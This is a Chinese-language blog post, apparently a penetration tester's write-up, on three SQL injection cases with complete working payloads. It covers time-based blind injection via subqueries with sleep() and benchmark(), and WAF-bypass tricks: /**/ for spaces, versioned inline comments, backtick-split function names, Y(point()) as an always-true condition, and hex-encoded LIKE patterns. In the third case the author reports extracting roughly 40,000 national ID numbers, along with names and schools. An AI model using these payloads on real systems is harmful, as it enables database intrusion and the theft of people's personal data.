这个SQL注入有点东西
字数 1428 2025-08-30 06:50:27
SQL注入高级技巧与绕过方法详解
前言
SQL注入是渗透测试中常见的漏洞类型,本文总结了三种高级SQL注入案例,涉及多种绕过技术和注入方法,包括报错注入、时间盲注、子查询利用、函数绕过等技术。
第一处SQL注入:日期参数注入
漏洞发现
- 注入点:日期参数
- 初始测试:添加单引号导致报错
- 报错信息分析:
date_format('2025-06-19 00:00:00','%Y-%m-%d %H:%M:%S') // 正常 date_format('2025-06-19 00:00:00'','%Y-%m-%d %H:%M:%S') // 异常
注入尝试
- 初始闭合尝试:
')#失败 - 完整参数闭合尝试:
','%Y-%m-%d %H:%M:%S') and extractvalue(1,concat(0x0a,(select user()),0x0a))#失败
问题分析
- 网站返回的是框架自定义报错,而非数据库原始报错
- 需要转向时间盲注
时间盲注构造
- 直接时间盲注失败原因:前面条件可能为假导致不执行后续语句
- 解决方案:使用子查询强制优先执行
and (select 0 from (select if(ascii(substr(user(),1,1))>1,sleep(6),1))x))TOTAL#- 子查询优先执行内部if语句
- 即使外部条件为假也能触发延时
最终Payload
2025-06-19 00:00:00','%Y-%m-%d %H:%M:%S') and (select 0 from (select if(ascii(substr(user(),1,1))>1,sleep(6),1))x))TOTAL#
第二处SQL注入:严格过滤环境下的注入
初始发现
- 注入点:orderType参数
- 测试:单引号报错,双引号正常
- 过滤情况:几乎所有常见函数和绕过方法都被过滤
绕过技术
- 权限绕过:直接修改返回包false→true
- 使用非常规函数:
Y(point(56.7,53.34))作为恒真条件 - 空格绕过:使用
/**/代替空格 - 内联注释绕过:
/*!55555*/作为版本号注释 - 函数嵌套:
right(left(user(),1),1)增加复杂度 - Benchmark延时:
benchmark(511111111,1)
最终Payload
orderType=1%20or%20Y(point(56.7,53.34))%20or%20(select/**/0/**/from/**/(select/**/if((ascii(right(left(user/*!55555*/(),1),1))!=1),(select/*!55555555555555555*/benchmark(511111111,1)),1))x)
技术要点
- 使用子查询确保注入语句优先执行
- 内联注释绕过WAF对特定函数(如user(), benchmark())的检测
- 函数嵌套增加复杂度避免简单匹配
第三处SQL注入:身份证查询接口注入
漏洞发现
- 注入点:tj参数(身份证查询条件)
- 原始逻辑:
sfzh='123123' and xm='12331' - 闭合方式:
tj=sfzh=1#→sfzh=1 and (注入语句) #
绕过技术
- 逻辑运算符绕过:使用
||代替被过滤的and/or|| 1=1#→ 502错误|| 1=2#→ 正常返回
- 报错注入函数绕过:
- 使用反引号分隔函数名:
extractvalue`(1, `concat`(0x0a,version()))
- 使用反引号分隔函数名:
- user()函数绕过:使用
current_user替代 - 模糊查询绕过单引号过滤:
- 原始:
sfzh like '1%' - 绕过:使用16进制编码
0x3225表示'2%'
- 原始:
敏感信息查询技术
sfzh like 0x3225 -- 查询身份证号以2开头的记录
- 成功获取身份证、姓名、单位、学校等敏感信息
- 通过变更前缀数字获取约4w+条身份证数据
关键知识点总结
-
子查询利用:
- 确保注入语句优先执行
- 绕过条件判断依赖问题
select 0 from (select if(条件,sleep(6),1))x -
严格过滤环境绕过:
- 内联注释:
/*!55555*/ - 函数嵌套:
right(left(user(),1),1) - 非常规函数:
Y(point()) - 空格替代:
/**/
- 内联注释:
-
报错注入绕过:
- 反引号分隔函数名
- 替代函数使用(current_user代替user())
-
模糊查询绕过:
- 16进制编码代替字符串
- 避免单引号过滤
-
时间盲注要点:
- 确保注入语句能被执行
- 使用benchmark或sleep
- 考虑执行优先级问题
这些高级SQL注入技术展示了在复杂过滤环境下的多种绕过思路,对渗透测试人员具有重要参考价值。